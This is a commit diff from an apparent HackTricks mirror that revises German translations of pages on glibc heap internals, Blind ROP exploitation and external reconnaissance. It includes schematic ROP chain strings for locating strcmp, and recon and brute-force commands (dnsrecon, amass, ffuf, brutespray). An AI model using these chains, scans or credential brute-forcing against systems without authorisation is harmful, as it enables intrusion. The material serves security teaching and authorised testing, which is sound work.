mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
This commit is contained in:
Translator
parent
173d60dff5
commit
cd9ff57f99
29 changed files with 651 additions and 259 deletions
Binary file not shown.
|
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 1.6 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
|
|
@ -197,6 +197,7 @@
|
|||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
|
||||
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
|
||||
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
|
||||
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
|
||||
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
|
|
|
|||
|
|
@ -31,7 +31,7 @@ Um dies zu beheben, führte der ptmalloc2 Heap-Allocator "Arenen" ein, wobei **j
|
|||
|
||||
Die Standard-"Haupt"-Arena verwaltet Heap-Operationen für einthreadige Anwendungen. Wenn **neue Threads** hinzugefügt werden, weist der Heap-Manager ihnen **sekundäre Arenen** zu, um die Konkurrenz zu verringern. Er versucht zunächst, jeden neuen Thread an eine ungenutzte Arena anzuhängen und erstellt bei Bedarf neue, bis zu einem Limit von 2 mal der Anzahl der CPU-Kerne für 32-Bit-Systeme und 8 mal für 64-Bit-Systeme. Sobald das Limit erreicht ist, **müssen Threads Arenen teilen**, was zu potenzieller Konkurrenz führt.
|
||||
|
||||
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenen "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung von Speicher für multithreaded Operationen ermöglicht.
|
||||
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenen "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung des Speichers für multithreaded Operationen ermöglicht.
|
||||
|
||||
### Subheaps
|
||||
|
||||
|
|
@ -50,7 +50,7 @@ Subheaps dienen als Speicherreserven für sekundäre Arenen in multithreaded Anw
|
|||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Diese Struktur speichert relevante Informationen über den Heap. Darüber hinaus ist der Heap-Speicher nach weiteren Zuweisungen möglicherweise nicht kontinuierlich, diese Struktur wird auch diese Informationen speichern.
|
||||
Diese Struktur speichert relevante Informationen über den Heap. Darüber hinaus ist der Heap-Speicher nach weiteren Zuweisungen möglicherweise nicht kontinuierlich, diese Struktur speichert auch diese Informationen.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
|||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
* Erhalte die Größe der tatsächlich nutzbaren Daten im Chunk
|
||||
* Ermitteln Sie die Größe der tatsächlich verwendbaren Daten im Chunk
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
|
@ -412,7 +412,7 @@ Setzen Sie einen Haltepunkt am Ende der Hauptfunktion und lassen Sie uns herausf
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es ist möglich zu sehen, dass die Zeichenkette panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse war, die als Antwort von malloc innerhalb von `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
|
||||
Es ist möglich zu sehen, dass der String panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse war, die als Antwort von malloc innerhalb von `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
|
||||
|
||||
Der reservierte zusätzliche Platz (0x21-0x10=0x11) stammt von den **hinzugefügten Headern** (0x10) und 0x1 bedeutet nicht, dass es 0x21B reserviert wurde, sondern die letzten 3 Bits der Länge des aktuellen Headers haben einige spezielle Bedeutungen. Da die Länge immer 16-Byte ausgerichtet ist (in 64-Bit-Maschinen), werden diese Bits tatsächlich niemals von der Längenzahl verwendet.
|
||||
```
|
||||
|
|
@ -468,13 +468,13 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
Beim Debuggen des vorherigen Beispiels ist es möglich zu sehen, dass zu Beginn nur 1 Arena vorhanden ist:
|
||||
Beim Debuggen des vorherigen Beispiels ist zu sehen, dass zu Beginn nur 1 Arena vorhanden ist:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dann, nach dem Aufruf des ersten Threads, der malloc aufruft, wird eine neue Arena erstellt:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Und darin können einige Chunks gefunden werden:
|
||||
|
||||
|
|
@ -490,7 +490,7 @@ Und darin können einige Chunks gefunden werden:
|
|||
|
||||
## Sicherheitsprüfungen von Heap-Funktionen
|
||||
|
||||
Funktionen, die im Heap beteiligt sind, führen bestimmte Prüfungen durch, bevor sie ihre Aktionen ausführen, um sicherzustellen, dass der Heap nicht beschädigt wurde:
|
||||
Funktionen, die mit dem Heap zu tun haben, führen bestimmte Prüfungen durch, bevor sie ihre Aktionen ausführen, um sicherzustellen, dass der Heap nicht beschädigt wurde:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
|
|
|
|||
|
|
@ -41,7 +41,7 @@ Dieses Gadget ermöglicht es im Grunde, zu bestätigen, dass etwas Interessantes
|
|||
|
||||
Diese Technik verwendet das [**ret2csu**](ret2csu.md) Gadget. Und das liegt daran, dass du, wenn du auf dieses Gadget in der Mitte einiger Anweisungen zugreifst, Gadgets erhältst, um **`rsi`** und **`rdi`** zu steuern:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Das wären die Gadgets:
|
||||
|
||||
|
|
@ -54,7 +54,7 @@ Beachte auch, dass das ret2csu-Gadget eine **sehr einzigartige Signatur** hat, d
|
|||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Wenn das **STOP ausgeführt wird**, bedeutet dies im Grunde, dass eine **Adresse, die 6 Register** vom Stack poppt, verwendet wurde. Oder dass die verwendete Adresse auch eine STOP-Adresse war.
|
||||
Wenn das **STOP ausgeführt wird**, bedeutet das im Grunde, dass eine **Adresse, die 6 Register** vom Stack poppt, verwendet wurde. Oder dass die verwendete Adresse auch eine STOP-Adresse war.
|
||||
|
||||
Um diese letzte Option **zu entfernen**, wird eine neue Kette wie die folgende ausgeführt, und sie darf das STOP-Gadget nicht ausführen, um zu bestätigen, dass das vorherige 6 Register gepoppt hat:
|
||||
|
||||
|
|
@ -64,7 +64,7 @@ Wenn die Adresse des ret2csu-Gadgets bekannt ist, ist es möglich, die **Adresse
|
|||
|
||||
### 6. Finde PLT
|
||||
|
||||
Die PLT-Tabelle kann von 0x400000 oder von der **geleakten RIP-Adresse** vom Stack (wenn **PIE** verwendet wird) durchsucht werden. Die **Einträge** der Tabelle sind **durch 16B** (0x10B) getrennt, und wenn eine Funktion aufgerufen wird, stürzt der Server nicht ab, selbst wenn die Argumente nicht korrekt sind. Außerdem stürzt das Überprüfen der Adresse eines Eintrags in der **PLT + 6B ebenfalls nicht ab**, da es der erste ausgeführte Code ist.
|
||||
Die PLT-Tabelle kann von 0x400000 oder von der **geleakten RIP-Adresse** aus dem Stack (wenn **PIE** verwendet wird) durchsucht werden. Die **Einträge** der Tabelle sind **durch 16B** (0x10B) getrennt, und wenn eine Funktion aufgerufen wird, stürzt der Server nicht ab, selbst wenn die Argumente nicht korrekt sind. Außerdem stürzt das Überprüfen der Adresse eines Eintrags in der **PLT + 6B ebenfalls nicht ab**, da es der erste ausgeführte Code ist.
|
||||
|
||||
Daher ist es möglich, die PLT-Tabelle zu finden, indem man die folgenden Verhaltensweisen überprüft:
|
||||
|
||||
|
|
@ -78,18 +78,18 @@ Die **`strcmp`** Funktion setzt das Register **`rdx`** auf die Länge des zu ver
|
|||
|
||||
Es ist möglich, den Standort von **`strcmp`** in der PLT basierend auf seinem Verhalten zu finden, indem wir die Tatsache nutzen, dass wir jetzt die 2 ersten Argumente von Funktionen steuern können:
|
||||
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> Absturz
|
||||
* strcmp(\<non read addr>, \<read addr>) -> Absturz
|
||||
* strcmp(\<read addr>, \<non read addr>) -> Absturz
|
||||
* strcmp(\<read addr>, \<read addr>) -> kein Absturz
|
||||
* strcmp(\<nicht lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<nicht lesbare Adresse>, \<lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<lesbare Adresse>) -> kein Absturz
|
||||
|
||||
Es ist möglich, dies zu überprüfen, indem man jeden Eintrag der PLT-Tabelle aufruft oder den **PLT-Slow-Path** verwendet, der im Grunde darin besteht, **einen Eintrag in der PLT-Tabelle + 0xb** (was zu **`dlresolve`** aufruft) gefolgt im Stack von der **Eintragsnummer, die man testen möchte** (beginnend bei null), um alle PLT-Einträge vom ersten an zu scannen:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> Absturz
|
||||
* strcmp(\<nicht lesbare Adresse>, \<lesbare Adresse>) -> Absturz
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Wird abstürzen
|
||||
* strcmp(\<read addr>, \<non read addr>) -> Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<read addr>, \<read addr>) -> kein Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<lesbare Adresse>) -> kein Absturz
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Denke daran, dass:
|
||||
|
|
@ -101,7 +101,7 @@ Denke daran, dass:
|
|||
Nachdem `strcmp` gefunden wurde, ist es möglich, **`rdx`** auf einen Wert größer als 0 zu setzen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Beachte, dass `rdx` normalerweise bereits einen Wert größer als 0 haben wird, sodass dieser Schritt möglicherweise nicht notwendig ist.
|
||||
Beachte, dass `rdx` normalerweise bereits einen Wert größer als 0 enthält, sodass dieser Schritt möglicherweise nicht notwendig ist.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Finden von Write oder Äquivalent
|
||||
|
|
|
|||
|
|
@ -15,30 +15,30 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Vermögensentdeckungen
|
||||
## Assets discoveries
|
||||
|
||||
> Man hat dir gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und du möchtest herausfinden, was dieses Unternehmen tatsächlich besitzt.
|
||||
|
||||
Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Vermögenswerte** dieser Unternehmen zu ermitteln. Dazu werden wir:
|
||||
Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Assets** dieser Unternehmen zu ermitteln. Dazu werden wir:
|
||||
|
||||
1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Geltungsbereich geben.
|
||||
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies wird uns die IP-Bereiche geben, die jedem Unternehmen gehören.
|
||||
3. Reverse-Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen).
|
||||
4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
|
||||
4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Assets zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
|
||||
|
||||
### **Übernahmen**
|
||||
### **Acquisitions**
|
||||
|
||||
Zunächst müssen wir wissen, welche **anderen Unternehmen im Besitz des Hauptunternehmens sind**.\
|
||||
Eine Möglichkeit ist, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach dem Hauptunternehmen zu suchen** und auf "**Übernahmen**" zu klicken. Dort siehst du andere Unternehmen, die von dem Hauptunternehmen übernommen wurden.\
|
||||
Eine andere Möglichkeit ist, die **Wikipedia**-Seite des Hauptunternehmens zu besuchen und nach **Übernahmen** zu suchen.
|
||||
|
||||
> Ok, an diesem Punkt solltest du alle Unternehmen im Geltungsbereich kennen. Lass uns herausfinden, wie wir ihre Vermögenswerte finden können.
|
||||
> Ok, an diesem Punkt solltest du alle Unternehmen im Geltungsbereich kennen. Lass uns herausfinden, wie wir ihre Assets finden können.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
|
|
@ -75,13 +75,13 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in
|
|||
|
||||
### **Auf der Suche nach Schwachstellen**
|
||||
|
||||
An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
|
||||
Außerdem könnten Sie einige [**Portscans**](../pentesting-network/#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man verschiedene mögliche Dienste testet.\
|
||||
An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
|
||||
Außerdem könnten Sie einige [**Portscans**](../pentesting-network/#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **nutzen, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man verschiedene mögliche Dienste testet.\
|
||||
**Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
|
||||
|
||||
## Domains
|
||||
|
||||
> Wir kennen alle Unternehmen innerhalb des Umfangs und deren Vermögenswerte, es ist Zeit, die Domains innerhalb des Umfangs zu finden.
|
||||
> Wir kennen alle Unternehmen im Geltungsbereich und deren Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden.
|
||||
|
||||
_Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._
|
||||
|
||||
|
|
@ -89,7 +89,7 @@ Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum
|
|||
|
||||
### **Reverse DNS**
|
||||
|
||||
Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains innerhalb des Umfangs zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
|
||||
Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
|
@ -115,11 +115,11 @@ Sie können Online-Tools wie verwenden:
|
|||
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen Whoxy-API-Schlüssel).\
|
||||
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
|
||||
|
||||
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
|
||||
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal weitere Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von **dem gleichen Team** verwaltet werden.\
|
||||
Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von demselben Team **verwaltet werden**.\
|
||||
Zum Beispiel, wenn Sie dieselbe **Google Analytics ID** oder dieselbe **Adsense ID** auf mehreren Seiten sehen.
|
||||
|
||||
Es gibt einige Seiten und Tools, die es Ihnen ermöglichen, nach diesen Trackern und mehr zu suchen:
|
||||
|
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Einfach gesagt, favihash ermöglicht es uns, Domains zu entdecken, die denselben Favicon-Icon-Hash wie unser Ziel haben.
|
||||
|
||||
Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Web-Technologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst:
|
||||
Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Webtechnologie** kennst, in Shodan suchen kannst und **weitere verwundbare Orte finden** kannst:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
|
@ -180,7 +180,7 @@ Du kannst eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc.l
|
|||
|
||||
Es ist anscheinend üblich, dass Leute Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wirst du einfach durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
|
||||
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
|
||||
|
||||
### **Andere Möglichkeiten**
|
||||
|
||||
|
|
@ -200,7 +200,7 @@ Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der O
|
|||
|
||||
Überprüfe einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registriere sie einfach (wenn sie günstig genug ist) und informiere das Unternehmen.
|
||||
|
||||
Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
|
||||
Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
|
||||
_Beachte, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also ist sie nicht im Scope, sei vorsichtig._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
|
@ -220,7 +220,7 @@ Beachte, dass einige der Tools und Techniken zur Auffindung von Domains auch hel
|
|||
|
||||
### **DNS**
|
||||
|
||||
Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn verwundbar, solltest du dies melden).
|
||||
Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn anfällig, solltest du es melden).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
|
@ -390,8 +390,8 @@ Nachdem Sie Subdomains mit offenen Quellen und Brute-Forcing gefunden haben, kö
|
|||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenenfalls die Domains und Subdomains Permutationen generieren.
|
||||
* Sie können die goaltdns Permutationen **Wortliste** [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenen Domains und Subdomains Permutationen generieren.
|
||||
* Sie können die **wordlist** von goaltdns [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Abgesehen von der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
|
||||
* Sie können die altdns-Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
|
|
@ -442,7 +442,7 @@ Sie können einige **VHosts in IPs finden mit** [**HostHunter**](https://github.
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie brute zu forcen:
|
||||
Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie zu brute-forcen:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
|
@ -496,7 +496,7 @@ Du kannst auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen, in
|
|||
|
||||
### **Nach Schwachstellen suchen**
|
||||
|
||||
**Portscan aller IPs, die nicht zu CDNs gehören** (da du dort höchstwahrscheinlich nichts Interessantes finden wirst). In den entdeckten laufenden Diensten könntest du **Schwachstellen finden**.
|
||||
**Portscanne alle IPs, die nicht zu CDNs gehören** (da du dort höchstwahrscheinlich nichts Interessantes finden wirst). In den entdeckten laufenden Diensten könntest du **Schwachstellen finden**.
|
||||
|
||||
**Finde einen** [**Leitfaden**](../pentesting-network/) **darüber, wie man Hosts scannt.**
|
||||
|
||||
|
|
@ -509,7 +509,7 @@ In den vorherigen Schritten hast du wahrscheinlich bereits einige **Recon der en
|
|||
Bitte beachte, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass du auch **den Schwachstellenscan** und **Portscan** durchführen solltest (**wenn im Scope erlaubt**).
|
||||
|
||||
Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/#http-port-discovery).\
|
||||
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Du gibst einfach eine Liste von Domains ein und es versucht, sich mit Port 80 (http) und 443 (https) zu verbinden. Zusätzlich kannst du angeben, andere Ports zu versuchen:
|
||||
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Du gibst einfach eine Liste von Domains ein, und es wird versuchen, sich mit Port 80 (http) und 443 (https) zu verbinden. Zusätzlich kannst du angeben, andere Ports auszuprobieren:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
|
